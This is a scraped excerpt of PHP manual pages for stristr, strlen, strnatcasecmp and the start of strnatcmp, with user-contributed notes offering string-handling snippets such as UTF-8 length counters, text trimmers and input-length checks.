greg at no_ggmac_reply dot com 13-Jan-2011 01:20
Beware the example given here:

if stristr($message,'viagra')
or stristr($message,'cialis')
)
{
die();
}

stristr does not search for words, it finds matching substrings.  So, for example, the check for 'cialis' will trigger on 'specialist'
jahforlove at gmail dot com 15-Oct-2010 10:58
Use it to emulate the before_needle php V5.3 :

<?php
//$h = haystack, $n = needle
if($pos=stripos($h,$n)) $string=substr($h,0,$pos);
?>
andy 08-Mar-2010 09:44
Quick way to use this with an array for a needle:

<?php
$arr = array('search_term1','search_term2','search_term3');

foreach($arr as $key => $search_needle) {

   if(stristr($haystack, $search_needle) != FALSE) {
        echo 'execute this code if found';
   }

}
?>
carel at ckbt dot org 13-May-2009 08:18
if stristr($message,'viagra')
or stristr($message,'cialis')
)
{
die();
}

Works quite well in any Shoutbox, Forum, Guestbook, Mailform, etcetera.

Just enter between the definitions and sending the message to the DB, et voila. ^_^
tomas dot nesrovnal at yourspirit dot cz 18-Dec-2008 12:36
Active item item in menu:

<?php
function aim($page) {
    if(stristr($_SERVER['REQUEST_URI'], $page)) {
        return ' class="active"';
    }
}
?>

usage:

<style type="text/css">
.active {color: red;}
</style>

<?php
print '<a href="http://example.com/page/hello-world/"'. aim('hello-world') .'>HW</a>';
?>
giz at gbdesign dot net 06-Oct-2007 05:02
Just been caught out by stristr trying to converting the needle from an Int to an ASCII value.

Got round this by casting the value to a string.

<?php
if( !stristr( $file, (string) $myCustomer->getCustomerID()  ) ) {
  // Permission denied
}
?>
art at awilton dot dotcom 07-Nov-2005 09:17
handy little bit of code I wrote to take arguments from the command line and parse them for use in my apps.

<?php

 $i = implode(" ",$argv); //implode all the settings sent via clie
 $e = explode("-",$i); // no lets explode it using our defined seperator '-'

       //now lets parse the array and return the parameter name and its setting
       // since the input is being sent by the user via the command line
       //we will use stristr since we don't care about case sensitivity and
       //will convert them as needed later.

    while (list($index,$value) = each($e)){

       //lets grap the parameter name first using a double reverse string
       // to get the begining of the string in the array then reverse it again
       // to set it back. we will also "trim" off the "=" sign

     $param = rtrim(strrev(stristr(strrev($value),'=')),"=");

       //now lets get what the parameter is set to.
       // again "trimming" off the = sign

     $setting = ltrim(stristr($value,'='),"=");

       // now do something with our results.
       // let's just echo them out so we can see that everything is working

      echo "Array index is ".$index." and value is ".$value."\r\n";
      echo "Parameter is ".$param." and is set to ".$setting."\r\n\r\n";

}

?>

when run from the CLI this script returns the following.

[root@fedora4 ~]# php a.php -val1=one -val2=two -val3=three

Array index is 0 and value is a.php
Parameter is  and is set to

Array index is 1 and value is val1=one
Parameter is val1 and is set to one

Array index is 2 and value is val2=two
Parameter is val2 and is set to two

Array index is 3 and value is val3=three
Parameter is val3 and is set to three

[root@fedora4 ~]#
triadsebas at triads dot buildtolearn dot net 21-Jul-2005 05:39
You can use strstr() or stristr() to validate data!
Check this out:
<?php
function validate_email($input) {
  if (!stristr($input, '@')) {
    return false;
  }
  return true;
}

function validate_url($input) {
  if (!stristr($input, 'http://')) {
    return false;
  }
  return true;
}
?>
Simple example:
<?php
if (!validate_email($_POST['email'])) {
  print 'You did not enter a valid email adress';
}
if (!validate_url($_POST['url'])) {
  print 'You did not enter a valid url.';
}
?>
notepad at codewalkers dot com 05-Jun-2005 01:02
<?php

function stristr_reverse($haystack, $needle) {
  $pos = stripos($haystack, $needle) + strlen($needle);
  return substr($haystack, 0, $pos);
}
$email = 'USER@EXAMPLE.com';
echo stristr_reverse($email, 'er');
// outputs USER

?>
Techdeck at Techdeck dot org 12-Nov-2002 12:26
An example for the stristr() function:

<?php
$a = "I like php";
if (stristr("$a", "LikE PhP")) {
print ("According to \$a, you like PHP.");
}
?>

It will look in $a for "like php" (NOT case sensetive. though, strstr() is case-sensetive).

For the ones of you who uses linux.. It is similiar to the "grep" command.
Actually.. "grep -i".
dpatton.at.confluence.org 02-Oct-2002 09:36
There was a change in PHP 4.2.3 that can cause a warning message
to be generated when using stristr(), even though no message was
generated in older versions of PHP.

The following will generate a warning message in 4.0.6 and 4.2.3:
  stristr("haystack", "");
     OR
  $needle = "";  stristr("haystack", $needle);

This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
  unset($needle); stristr("haystack", $needle);

Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver
stripslashes
strlen
String Functions


Get string length

stristr
strnatcasecmp
String Functions
PHP Manual

strlen

(PHP 4, PHP 5)

strlen — Get string length

Description

int strlen ( string $string )

Returns the length of the given string.

Parameters

string

The string being measured for length.

Return Values

The length of the string on success, and 0 if the string is empty.

Changelog

Version | Description
5.3.0 | Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.

Examples

Example #1 A strlen() example

<?php
$str = 'abcdef';
echo strlen($str); // 6

$str = ' ab cd ';
echo strlen($str); // 7
?>

Notes

Note:

strlen() returns NULL when executed on arrays, and an E_WARNING level error is emitted.

See Also

  • count() - Count all elements in an array, or something in an object
  • mb_strlen() - Get string length

User Contributed Notes

PhoneixS 13-May-2011 04:09
A little test values:
<?php var_dump(strlen(null), strlen(123), strlen(-1), strlen('')); ?>

And the results are:
int(0) int(3) int(2) int(0)

Conclusion:
The values are converted to string before check the lenght.
canschi dot sergiu at yahoo dot com 08-Jan-2011 01:52
Hello all,

May I pos my firs  function as novice in php here .
This funtion count all characters in a strign without spaces , so only chars, no spaces .

<?php
function countchar ($string) {

$result = strlen ($string)  -   substr_count($string, ' ');
echo $result;
}

countchar ($a);
?>

Hope to be useful for somebody !
basil at gohar dot us 08-Jun-2010 02:03
We just ran into what we thought was a bug but turned out to be a documented difference in behavior between PHP 5.2 & 5.3.  Take the following code example:

<?php

$attributes = array('one', 'two', 'three');

if (strlen($attributes) == 0 && !is_bool($attributes)) {
    echo "We are in the 'if'\n";  //  PHP 5.3
} else {
    echo "We are in the 'else'\n";  //  PHP 5.2
}

?>

This is because in 5.2 strlen will automatically cast anything passed to it as a string, and casting an array to a string yields the string "Array".  In 5.3, this changed, as noted in the following point in the backward incompatible changes in 5.3 (http://www.php.net/manual/en/migration53.incompatible.php):

"The newer internal parameter parsing API has been applied across all the extensions bundled with PHP 5.3.x. This parameter parsing API causes functions to return NULL when passed incompatible parameters. There are some exceptions to this rule, such as the get_class() function, which will continue to return FALSE on error."

So, in PHP 5.3, strlen($attributes) returns NULL, while in PHP 5.2, strlen($attributes) returns the integer 5.  This likely affects other functions, so if you are getting different behaviors or new bugs suddenly, check if you have upgraded to 5.3 (which we did recently), and then check for some warnings in your logs like this:

strlen() expects parameter 1 to be string, array given in /var/www/sis/lib/functions/advanced_search_lib.php on line 1028

If so, then you are likely experiencing this changed behavior.
Vladimir Zafirov 27-May-2009 09:28
You can also just say:
<?php
  strlen(utf8_decode($a))
?>
The utf8_decode($a) will take care of converting the utf characters that have more than one byte in to one symbol and the strlen() will count those correctly as length 1.
anto dot justus at gmail dot com 24-Apr-2009 08:14
It seems to me that all strings in PHP are ASCII, this is fine for some but for me I need more. I thought I would show off a small function that I made that will tell you the length of a UTF-8 string. This comes in handy if you want to restrict the size of user input to say 30 chars - but don't want to force ascii only input on your users.

<?php
function utf8_strlen($str)
    {
    $count = 0;

    for($i = 0; $i < strlen($str); $i++)
        {
        $value = ord($str[$i]);
        if($value > 127)
            {
            if($value >= 192 && $value <= 223)
                $i++;
            elseif($value >= 224 && $value <= 239)
                $i = $i + 2;
            elseif($value >= 240 && $value <= 247)
                $i = $i + 3;
            else
                die('Not a UTF-8 compatible string');
            }

        $count++;
        }

    return $count;
    }
?>
Amaroq 19-Mar-2009 11:51
When dealing with submitted forms that you've imposed a character limit on, you must remember that functions that count characters consider "\r\n" to be two characters.

<?php
//These will both output 2.
echo strlen("\r\n");
echo mb_strlen("\r\n");
?>

If I had thought of this starting out, I would have saved myself several hours of trouble trying to get php to cut a message to the same length that my auxiliary javascript validation imposed on it.
Anonymous 15-Feb-2009 09:51
simple speed test for UTF-8 strings:

<?php

header("Content-type: text/html; charset=UTF-8");
ini_set('mbstring.internal_encoding', 'UTF-8');

?><pre><?

function utf8_strlen($s) {
    $c = strlen($s); $l = 0;
    for ($i = 0; $i < $c; ++$i) if ((ord($s[$i]) & 0xC0) != 0x80) ++$l;
    return $l;
}

function utf0_strlen($s) {
    $l = 0; $i = 0;
    while ($n = ord($s[$i++])) if (($n & 0xC0) != 0x80) ++$l;
    return $l;
}

function utfs_strlen($s) {
    $c = strlen($s);
    $l = 0;
    for($i = 0; $i < $c; $i++) {
        $v = ord($s[$i]);
        if($v > 127) {
            if($v >= 192 && $v <= 223) ++$i;
            elseif($v >= 224 && $v <= 239) $i += 2;
            elseif($v >= 240 && $v <= 247) $i += 3;
            else die('Not a UTF-8 compatible string');
        }
        ++$l;
    }
    return $l;
}

function spl_strlen($s) {
  return count(preg_split("//u", $s)) - 2;
}

function dcd_strlen($s) {
    return strlen(utf8_decode($s));
}

function preg_strlen($s) {
  return preg_match_all('/[\x00-\x7F\xC0-\xFD]/', $s, $d);
}

$src = '=123! !ы"в#$%&\'()*+,—./:;<=>?@[\]^_`{|}~'.
    '    йцукенгшщзхъфывапролджтьбю'.chr(0).'ы';

$tc = 10000; //test count

$l = mb_strlen($src, 'UTF-8'); //real testing string length

$lst = array('strlen', 'mb_strlen', 'dcd_strlen',
    'preg_strlen', 'utfs_strlen', 'utf8_strlen',
    'utf0_strlen', 'spl_strlen'); // list of functions

foreach ($lst as $f) {
    $t = microtime(1);
    for($i = 0; $i < $tc; $i++) $f($src);
    $t = microtime(1) - $t;
    printf("%14s : %0.6f : %03u%s\n",
        $f, $t, $q = $f($src), $q != $l ? ' - failed!' : '');
}
?></pre>

main results:
        strlen : 0.009419 : 112 failed!
     mb_strlen : 0.016377 : 075
    dcd_strlen : 0.063055 : 075
   preg_strlen : 1.106809 : 075
   utfs_strlen : 1.701586 : 075
   utf8_strlen : 2.321344 : 075
   utf0_strlen : 2.578518 : 073 failed!
    spl_strlen : 3.789029 : 075
jonathan dot protzenko at gmail dot com 23-Aug-2008 07:35
paolo dot mosna at gmail dot com's solution for getting the length of a unicode string didn't work for me. Instead, I used the following dirty function (which can be surely improved, but I'm giving the idea) :

<?php
function ustrlen($s) {
  $a = preg_split("//u", $s);
  $i = -2;
  foreach ($a as $b)
    $i++;
  return $i;
}
?>

This will return the correct length for any unicode string.
radu_keepwalking at yahoo dot com 15-Apr-2008 04:37
Another way to preview a text with or without html tags, and end not cut in a middle of a word.

<?php
function preview_text($TEXT, $LIMIT, $TAGS = 0) {

    // TRIM TEXT
    $TEXT = trim($TEXT);

    // STRIP TAGS IF PREVIEW IS WITHOUT HTML
    if ($TAGS == 0) $TEXT = preg_replace('/\s\s+/', ' ', strip_tags($TEXT));

    // IF STRLEN IS SMALLER THAN LIMIT RETURN
    if (strlen($TEXT) < $LIMIT) return $TEXT;

    if ($TAGS == 0) return substr($TEXT, 0, $LIMIT) . " ...";
    else {

        $COUNTER = 0;
        for ($i = 0; $i<= strlen($TEXT); $i++) {

            if ($TEXT{$i} == "<") $STOP = 1;

            if ($STOP != 1) {

                $COUNTER++;
            }

            if ($TEXT{$i} == ">") $STOP = 0;
            $RETURN .= $TEXT{$i};

            if ($COUNTER >= $LIMIT && $TEXT{$i} == " ") break;

        }

        return $RETURN . "...";
    }

}
?>
mail4adry at inwind dot it 21-Aug-2007 01:53
This can be useful to put a preview of an article on the front page when the rest of the article is displayed on another page:

<?php
function getPreviewText($text) {
    // Strip all tags
    $desc = strip_tags(html_entity_decode($text), "<a><em>");
    $charlen = 0; $crs = 0;
    if(strlen_HTML($desc) == 0)
        $preview = substr($desc, 0, 69);
    else
    {
        $i = 0;
        while($charlen < 80)
        {
            $crs = strpos($desc, " ", $crs)+1;
            $lastopen = strrpos(substr($desc, 0, $crs), "<");
            $lastclose = strrpos(substr($desc, 0, $crs), ">");
            if($lastclose > $lastopen)
            {
                // we are not in a tag
                $preview = substr($desc, 0, $crs);
                $charlen = strlen_noHTML($preview);
            }
            $i++;
        }
    }
    return $preview."&#8230;"
}
?>

will display text cut as near as possible to character 80 respecting each <a> and <em> tags and ending with ...
mail4adry at inwind dot it 21-Aug-2007 09:28
<?php
/**
 * return length of a string regardeless of html tags in it
 *
 * @param string $html
 * @return string
 */
function strlen_noHtml($string){
    $crs = 0;
    $charlen = 0;
    $len = strlen($string);
    while($crs < $len)
    {
        $offset = $crs;
        $crs = strpos($string, "<", $offset);
        if($crs === false)
        {
           $crs = $len;
           $charlen += $crs - $offset;
        }
        else
        {
            $charlen += $crs - $offset;
            $crs = strpos($string, ">", $crs)+1;
        }
    }
    return $charlen;
}

/**
 * return length of a string regarding html tags in it
 *
 * @param string $html
 * @return string
 */
function strlen_Html($string){
    $crs = 0;
    $charlen = 0;
    $len = strlen($string);
    while($crs < $len)
    {
        $scrs = strpos($string, "<", $crs);
        if($scrs === false)
        {
           $crs = $len;
        }
        else
        {
            $crs = strpos($string, ">", $scrs)+1;
            if($crs === false)
                $crs = $len;
            $charlen += $crs - $scrs;
        }
    }
    return $charlen;
}
?>

Example:

<?php
$text = "<p>Test 'a' paragraph.</p><!-- Comment --> Other text";

echo "strlen without HTML chars:".strlen_noHtml($text);
echo "<br>";
echo "strlen of HTML chars:".strlen_html($text);
?>

Will output:
strlen without HTML chars:30
strlen of HTML chars:23
bradmwalker at cableone dot net 01-Jul-2007 03:48
want a predicate that tests a string for emptiness? use strlen instead of empty(). strlen only returns a false-equivalent value for ''.

example:

<?php
// takes string_array and returns an array without any values w/empty strings
function filter_empties ($string_array) {
    // note: the immensely retarded empty() function returns true on string '0'
    // use strlen as empty string predicate
    return count($string_array) ? array_filter ($string_array, 'strlen') : $string_array;
}
?>
topera at gmail dot com 27-Jun-2007 08:32
<?php
//------------------------------------------
// This function returns the necessary
// size to show some string in display
// For example:
// $a = strlen_layout("WWW"); // 49
// $a = strlen_layout("..."); // 16
// $a = strlen_layout("Hello World"); // 99
//------------------------------------------
function strlen_pixels($text) {
    /*
        Pixels utilized by each char (Verdana, 10px, non-bold)
        04: j
        05: I\il,-./:; <espace>
        06: J[]f()
        07: t
        08: _rz*
        09: ?csvxy
        10: Saeko0123456789$
        11: FKLPTXYZbdghnpqu
        12: AÇBCERV
        13: <=DGHNOQU^+
        14: w
        15: m
        16: @MW
    */

    // CREATING ARRAY $ps ('pixel size')
    // Note 1: each key of array $ps is the ascii code of the char.
    // Note 2: using $ps as GLOBAL can be a good idea, increase speed
    // keys:    ascii-code
    // values:  pixel size

    // $t: array of arrays, temporary
    $t[] = array_combine(array(106), array_fill(0, 1, 4));

    $t[] = array_combine(array(73,92,105,108,44), array_fill(0, 5, 5));
    $t[] = array_combine(array(45,46,47,58,59,32), array_fill(0, 6, 5));
    $t[] = array_combine(array(74,91,93,102,40,41), array_fill(0, 6, 6));
    $t[] = array_combine(array(116), array_fill(0, 1, 7));
    $t[] = array_combine(array(95,114,122,42), array_fill(0, 4, 8));
    $t[] = array_combine(array(63,99,115,118,120,121), array_fill(0, 6, 9));
    $t[] = array_combine(array(83,97,101,107), array_fill(0, 4, 10));
    $t[] = array_combine(array(111,48,49,50), array_fill(0, 4, 10));
    $t[] = array_combine(array(51,52,53,54,55,56,57,36), array_fill(0, 8, 10));
    $t[] = array_combine(array(70,75,76,80), array_fill(0, 4, 11));
    $t[] = array_combine(array(84,88,89,90,98), array_fill(0, 5, 11));
    $t[] = array_combine(array(100,103,104), array_fill(0, 3, 11));
    $t[] = array_combine(array(110,112,113,117), array_fill(0, 4, 11));
    $t[] = array_combine(array(65,195,135,66), array_fill(0, 4, 12));
    $t[] = array_combine(array(67,69,82,86), array_fill(0, 4, 12));
    $t[] = array_combine(array(78,79,81,85,94,43), array_fill(0, 6, 13));
    $t[] = array_combine(array(60,61,68,71,72), array_fill(0, 5, 13));
    $t[] = array_combine(array(119), array_fill(0, 1, 14));
    $t[] = array_combine(array(109), array_fill(0, 1, 15));
    $t[] = array_combine(array(64,77,87), array_fill(0, 3, 16));

    // merge all temp arrays into $ps
    $ps = array();
    foreach($t as $sub) $ps = $ps + $sub;

    // USING ARRAY $ps
    $total = 1;
    for($i=0; $i<strlen($text); $i++) {
        $temp = $ps[ord($text[$i])];
        if (!$temp) $temp = 10.5; // default size for 10px
        $total += $temp;
    }
    return $total;
}
?>

Rafael Pereira dos Santos
paolo dot mosna at gmail dot com 10-Jan-2007 07:58
Title: Strlen() ant bytes string lenght.
Just to remember that strlen() return the number of characters of a string. Often the strlen() function is used to compute the length in bytes of a string. This is correct until string is single byte encoded. If multi-byte char-set is used this constraint i no more verified. So when you require the number of bytes of a ASCII or UTF-8 encoded string, it is better to use following function:

<?php
    /**
     * Count the number of bytes of a given string.
     * Input string is expected to be ASCII or UTF-8 encoded.
     * Warning: the function doesn't return the number of chars
     * in the string, but the number of bytes.
     *
     * @param string $str The string to compute number of bytes
     *
     * @return The length in bytes of the given string.
     */
    function strBytes($str)
    {
      // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT

      // Number of characters in string
      $strlen_var = strlen($str);

      // string bytes counter
      $d = 0;

     /*
      * Iterate over every character in the string,
      * escaping with a slash or encoding to UTF-8 where necessary
      */
      for ($c = 0; $c < $strlen_var; ++$c) {

          $ord_var_c = ord($str{$d});

          switch (true) {
              case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
                  // characters U-00000000 - U-0000007F (same as ASCII)
                  $d++;
                  break;

              case (($ord_var_c & 0xE0) == 0xC0):
                  // characters U-00000080 - U-000007FF, mask 110XXXXX
                  // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                  $d+=2;
                  break;

              case (($ord_var_c & 0xF0) == 0xE0):
                  // characters U-00000800 - U-0000FFFF, mask 1110XXXX
                  // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                  $d+=3;
                  break;

              case (($ord_var_c & 0xF8) == 0xF0):
                  // characters U-00010000 - U-001FFFFF, mask 11110XXX
                  // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                  $d+=4;
                  break;

              case (($ord_var_c & 0xFC) == 0xF8):
                  // characters U-00200000 - U-03FFFFFF, mask 111110XX
                  // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                  $d+=5;
                  break;

              case (($ord_var_c & 0xFE) == 0xFC):
                  // characters U-04000000 - U-7FFFFFFF, mask 1111110X
                  // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                  $d+=6;
                  break;
              default:
                $d++;
          }
      }

      return $d;
    }
?>

This function has been adapted form the JSON function used to convert character in UTF-8 representation.

With this new function we solved problem in JSON and in PEAR/SOAP php libraries.
liquix at hjelpesentral dot no 17-Aug-2006 05:57
An easy function to make sure the words in a sentence is not above the maximum lengt of characters. This is used to prevent that users posting for an example comments on your page and drag the page width out.

Returns true or false
<?php
function wordlength($txt, $limit)
{
   $words = explode(' ', $txt);

   foreach($words as $v)
   {
       if(strlen($v) > $limit)
       {
            return false;
       }
   }

   return true;
}
?>

Uses like this:
<?php

$txt = "Onelongword and some small ones";

if(!wordlength($txt, 10))
{
    die("One of the words where too long");
}

?>

That will return false since one of the words in $txt is too long. (Maximum set to 10)
Hage Yaapa 12-Jan-2006 03:51
Sometimes you really wanna make sure no user edits the 'maxlength' attribute of the HTML page and POSTs a 5 Mb string to your script. Probably, advanced programmers already take precautions, this one is just a very simple tip for beginners on how to check the character lenth of the POST variables in an effective manner.

<?php

// ALWAYS clean the POST variables of any HTML tags first.
// And here we do it in one easy step.
 $_POST = array_map('strip_tags', $_POST);

// These are the POST variables in the example
 $alias = $_POST['alias'];
 $name = $_POST['name'];
 $status = $_POST['status'];
 $year = $_POST['year'];

// We create an array that contains the expected character length
// for each POST variable
 $exlen = array (
      'alias'=>12,
      'name'=>30,
      'status'=>10,
      'year'=>4
);

// Now check if any of them exceeds the expected length
 foreach ($exlen as $key=>$val) {
      if (strlen($$key) > $val) {
            // The user has definitely edited the HTML! He has a lot of time, could be bad.
          // This section can edited according to your needs - very simple to complex.
          // Log the event or send an e-mail to the admin at the basic.
          // However, in this example we just print a warning.
          print 'WARNING: The FBI is looking for you, dude!';
          exit;
          // The best part is that the script won't look for any other
          // POST variables other than the ones which we are expecting already.
      }
}
?>

Similarly, with the use of Regular Expressions you could check the data type and string format too.
bartek at proteus,pl 19-Jul-2005 05:08
> Just a precisation, maybe obvious, about the strlen() behaviour:
> with binary strings (i.e. returned by the pack() finction) is made
> a byte count... so strlen returns the number of bytes contained
> in the binary string.

This is not always true. strlen() might be shadowed by mb_strlen().
If that is the case it might treat binary data as unocode string and return wrong value (I just found it out after fighting with egroupware email attachment handling bug).

So, if your data is binary I would suggest using somthing like this (parts of the code from egroupware):

<?php
$has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
$has_mb_shadow = (int) ini_get('mbstring.func_overload');

if ($has_mbstring && ($has_mb_shadow & 2) ) {
   $size = mb_strlen($this->output_data,'latin1');
} else {
   $size = strlen($this->output_data);
}
?>
--
Bartek
triadsebas at triads dot buildtolearn dot net 17-Jul-2005 05:49
A nice use of the strlen() function, the following function will check if one of the words in $input is longer than $maxlenght,  $maxlenght is standard 40.
<?php
function check_input($input, $maxlenght= 40)
$temp_array = explode(" ", $input);
foreach ($temp_array as $word) {
if (strlen($word) > $maxlenght) {
return false;
}
}
return true;
}
?>
Example:
<?php
if (!check_input($_POST['message'])) {
print 'One of your words in your message in longer than 40 chars. Please edit your message.';
}
?>
http://nsk.wikinerds.org 22-Apr-2005 09:02
Beware: strlen() counts new line characters at the end of a string, too!

<?php
  $a = "123\n";
  echo "<p>".strlen($a)."</p>";
?>

The above code will output 4.
packe100 at hotmail dot com 14-Mar-2005 07:07
Just a precisation, maybe obvious, about the strlen() behaviour: with binary strings (i.e. returned by the pack() finction) is made a byte count... so strlen returns the number of bytes contained in the binary string.
php at capcarrere dot org 06-Feb-2005 06:32
Hi,

if you want to trim a sentence to a certain number of
characters so that it is displayed nicely in a HTML page
(in a table for instance), then you actually want to count
the number of characters displayed rather than the
actual number of characters of the string.

For instance:
"L&agrave; bas" should really be 5 character long,
rather than 10.

Also you don't want to cut a special char in the middle.
For instance:
If 3 is the maximum number of characters,

"L&agrave; bas"  should be cut as "L&agrave; ..."
and not "L&a...";

So here is a simple method to dothat:

<?php
function nicetrim ($s) {
// limit the length of the given string to $MAX_LENGTH char
// If it is more, it keeps the first $MAX_LENGTH-3 characters
// and adds "..."
// It counts HTML char such as &aacute; as 1 char.
//

  $MAX_LENGTH = 22;
  $str_to_count = html_entity_decode($s);
  if (strlen($str_to_count) <= $MAX_LENGTH) {
    return $s;
  }

  $s2 = substr($str_to_count, 0, $MAX_LENGTH - 3);
  $s2 .= "...";
  return htmlentities($s2);
}
?>
Patrick(a)Bierans()de 29-Nov-2004 03:24
<?php
function array_strlen(&$array,$fuse=200,$depth=0)
{
  // returns the strlen of all elements in a given array, an array inside
  // an array will add another 8 points

  // fuse: Recursion is limited to 200 calls, if you want unlimited calls
  //       use fuse=0 - warning: if an array element contains a reference
  //       to the array itself it will run endless if fuse set to 0 or below.

  $strlen=0;
  $fuse-=1;
  if ($fuse==0) return $strlen;

  if (is_array($array))
  {
    if ($depth>0) $strlen+=8;
    reset($array);
    $depth+=1;
    foreach ($array as $sub) $strlen+=array_strlen($sub,$fuse,$depth);
  }
  else
  {
    $strlen+=strlen($array);
  }
  return $strlen;
} // array_strlen()
?>
chernyshevsky at hotmail dot com 05-Sep-2004 03:36
The easiest way to determine the character count of a UTF8 string is to pass the text through utf8_decode() first:

<?php
$length = strlen(utf8_decode($s));
?>

utf8_decode() converts characters that are not in ISO-8859-1 to '?', which, for the purpose of counting, is quite alright.
dtorop932 at hotmail dot com 03-Dec-2003 02:25
To follow up on dr-strange's utf8_strlen(), here are two succinct alternate versions.  The first is slower for multibyte UTF-8, faster for single byte UTF-8.  The second should be much faster for all but very brief strings, and can easily live inline in code.  Neither validates the UTF-8.

Note that the right solution is to use mb_strlen() from the mbstring module, if one is lucky enough to have that compiled in...

<?php
// choice 1
function utf8_strlen($str) {
  $count = 0;
  for ($i = 0; $i < strlen($str); ++$i) {
    if ((ord($str[$i]) & 0xC0) != 0x80) {
      ++$count;
    }
  }
  return $count;
}

// choice 2
function utf8_strlen($str) {
  return preg_match_all('/[\x00-\x7F\xC0-\xFD]/', $str, $dummy);
}
?>
Patrick 01-Aug-2003 02:36
Just a general pointer that I have hit upon after some struggle:

Most blobs can easily be treated as strings, so to retreat info on a blob or to manipulate it in any way, I recommend trying out string-related functions first. They've worked well for me.
suchy at ecl dot pl 13-May-2003 03:22
a little modification of rasmus solution

<?php
$tmp=0; $s="blah";
while($c=$s[$tmp++]) { echo $c; }
?>

but what happens when the string contains zeros?

<?php $s="blah0blah"; ?>
the script stops....

here is sample of code and the string is correcly parsed using strlen() even when containing zeros:

<?php
$s="blah0blah";
$si=0;
$s_len=strlen($s);
for ($si=0;$si<$s_len;$si++)
{
 $c=$s[$si];
 echo $c;
}
?>
dr - strange at shaw dot ca 02-Oct-2002 07:08
It seems to me that all strings in PHP are ASCII, this is fine for some but for me I need more. I thought I would show off a small function that I made that will tell you the length of a UTF-8 string. This comes in handy if you want to restrict the size of user input to say 30 chars - but don't want to force ascii only input on your users.

<?php
function utf8_strlen($str)
    {
    $count = 0;

    for($i = 0; $i < strlen($str); $i++)
        {
        $value = ord($str[$i]);
        if($value > 127)
            {
            if($value >= 192 && $value <= 223)
                $i++;
            elseif($value >= 224 && $value <= 239)
                $i = $i + 2;
            elseif($value >= 240 && $value <= 247)
                $i = $i + 3;
            else
                die('Not a UTF-8 compatible string');
            }

        $count++;
        }

    return $count;
    }
?>
26-May-2001 12:11
Note that PHP does not need to traverse the string to know its length with strlen(). The length is an attribute of the array used to store the characters. Do not count on strings being terminated by a NULL character. This may not work with some character encodings, and PHP strings are binary-safe !
PHP4 included a NULL character after the last position in the string, however, this does not change the behavior of strlen or the binary safety: this NULL character is not stored.

However PHP4 allows now to reference the position after the end of the string for both read and write access:

* when reading at that position (e.g. $s[strlen($s)]), you get a warning with PHP3, and you'll get 0 with PHP4 not returning a warning.

* you can assign it directly in PHP4 with one character to increase the string length by one character:

<?php
$s[strlen($s)]=65; //append 'A'
$s[]=65; //append 'A'
$s[strlen($s)]=0; //append NUL (stored!)
$s[]=0; //append NUL (stored!)
?>

Such code did not work in PHP3, where the only way to extend the string length was by using a concat operator.

However, reading or writing past the end of the string, using an array index superior to the current string length will still raise a warning in PHP4.
stristr
strnatcasecmp
String Functions


Case insensitive string comparisons using a "natural order" algorithm

strlen
strnatcmp
String Functions
PHP Manual

strnatcasecmp

(PHP 4, PHP 5)

strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm

Description

int strnatcasecmp ( string $str1 , string $str2 )

This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would. The behaviour of this function is similar to strnatcmp(), except that the comparison is not case sensitive. For more information see: Martin Pool's » Natural Order String Comparison page.

Parameters

str1

The first string.

str2

The second string.

Return Values

Similar to other string comparison functions, this one returns < 0 if str1 is less than str2 > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • preg_match() - Perform a regular expression match
  • strcmp() - Binary safe string comparison
  • strcasecmp() - Binary safe case-insensitive string comparison
  • substr() - Return part of a string
  • stristr() - Case-insensitive strstr
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • strncmp() - Binary safe string comparison of the first n characters
  • strstr() - Find the first occurrence of a string
  • setlocale() - Set locale information

User Contributed Notes

chatfielddaniel at googlemail dot com 14-Apr-2011 04:07
The function treats '_' as after letters and numbers when it would be placed before logically.
thomas at uninet dot se 25-Jul-2006 12:49
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.
strlen
strnatcmp
String Functions


String comparisons using a "natural order" algorithm

strnatcasecmp
strncasecmp
String Functions
PHP Manual

strnatcmp

(PHP 4, PHP 5)

strnatcmp — String comparisons using a "natural order" algorithm

Description

int strnatcmp ( string $str1 , string $str2 )

This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would, this is described as a "natural ordering". Note that this comparison is case sensitive.

Parameters

str1

The first string.

str2

The second string.

Return Values

Similar to other string comparison functions, this one returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Examples

An example of the difference between this algorithm and the regular computer string sorting algorithms (used in strcmp()) can be seen below:

<?php
